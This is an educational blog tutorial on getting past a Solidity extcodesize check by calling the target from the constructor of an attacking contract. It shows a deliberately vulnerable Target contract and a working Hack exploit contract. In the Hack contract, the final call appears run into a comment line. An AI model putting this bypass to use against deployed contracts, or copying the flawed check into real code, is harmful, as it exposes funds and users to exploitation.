Bypass Solidity contract size check

Ledger Nano X - The secure hardware wallet

Bypass Solidity contract size check to pwn a smart contract. For additional security some owners don’t want other contracts interacting with their contract. To prevent this interaction owners add an account code size check to prevent functions from being run. This code size check determines if the address interacting with the contract contain code and if it does the function is not executed. Unfortunately this code size check can be pwned by a developer.

Solidity code size check vulnerability

You can determine if an address is a Solidity smart contract by checking the size of the code stored at the address. Assembly extcodesize is used in Solidity functions to determine the size of the code at a particular address. If the code size at the address is greater than 0 then the address is a smart contract.  

To pwn a contract that contains Assembly extcodesize simple put a function in the attacking contract’s constructor. During contract creation when the constructor is executed there is no code yet so the code size will be 0. The constructor will run the function and bypass the target contract’s extcodesize check.

Bypass contract size check log failed no contract allowed. Bypass Solidity contract size check by putting function in constructor

Description of contract size Solidity hack

To see this check fail in action perform the following steps:

  1. First deploy the target and failed contracts below.
  2. Then deploy the attack contract with the target contract address in the constructor.
  • Target Contract – This contract contains a function called protected() that contains a function modifier. The function modifier does not allow contracts to interact with it because it calls a function that contains extcodesize to check if the address is a contract. If an address is input into this function and the code size is greater then 0 the log will print “no contract allowed”. We are going to bypass this check.

  • Failed attack – This contract contains a function called pwn. When you execute the function with the target address you will see that it fails in the transaction log. The target address will detect that this contact contains code which caused the call to fail.
Bypass contract size check log failed no contract allowed. Bypass Solidity contract size check
  • Attack – The Hack contract will call the target contract in the constructor. When the contract is created the target address will detect 0 code and the transaction will be successful. It puts the results in the bool isContract in the attack contract. You can also call the pwnd function in the target contract to see that the contract was pwned.
Bypass contract size check log successful contract allowed. Bypass Solidity contract size check

Perform the Solidity hack

Read the comments in the code for additional information

pragma solidity ^0.7.6;
 // deploy all three contracts below 
// 1 target contract 
// 2 failed attack contract 
// 3 attacking contract  
// the isContract function uses extcodesize which checks code size  
// if the code size is greater then 0 then it is assumed a smart contract  
// this check can be bypassed because when a contract is created the code size is 0   
// to bypass this check simply add a function to the attacking contracts constructor
 contract Target {
      function isContract(address account) public view returns (bool) {
          uint size;
          assembly {
              size := extcodesize(account)
          }
          return size > 0;
      }
         bool public pwned = false; // function contains a function modifier to protect it from other contracts
// no contracts can call this function
      function protected() external {     
         require(!isContract(msg.sender), "no contract allowed");     
         pwned = true; }
 }
 

// attempting to call Target.protected will fail, 
// target block calls from contract
 contract FailedAttack {
     function pwn(address _target) external {
         // this will fail
         Target(_target).protected();
     }
 }
 

// when contract is being created, code size (extcodesize) is 0. 
// this will bypass the isContract() check 
// call Target.protected will work
 contract Hack {
     bool public isContract;
     address public addr;
        constructor(address _target) {  
        isContract = Target(_target).isContract(address(this)); 
        addr = address(this); 
         // this will work             Target(_target).protected(); }
}

Try it in Remix

This code is for learning and entertainment purposes only. The code has not been audited and use at your own risk. Remember smart contracts are experimental and could contain bugs.

Click here for more information about how to use the Ethereum test network and how to obtain test ETH.

Next Review – Block timestamp manipulation attack

Ledger Nano X - The secure hardware wallet

1 thought on “Bypass Solidity contract size check

Leave a Reply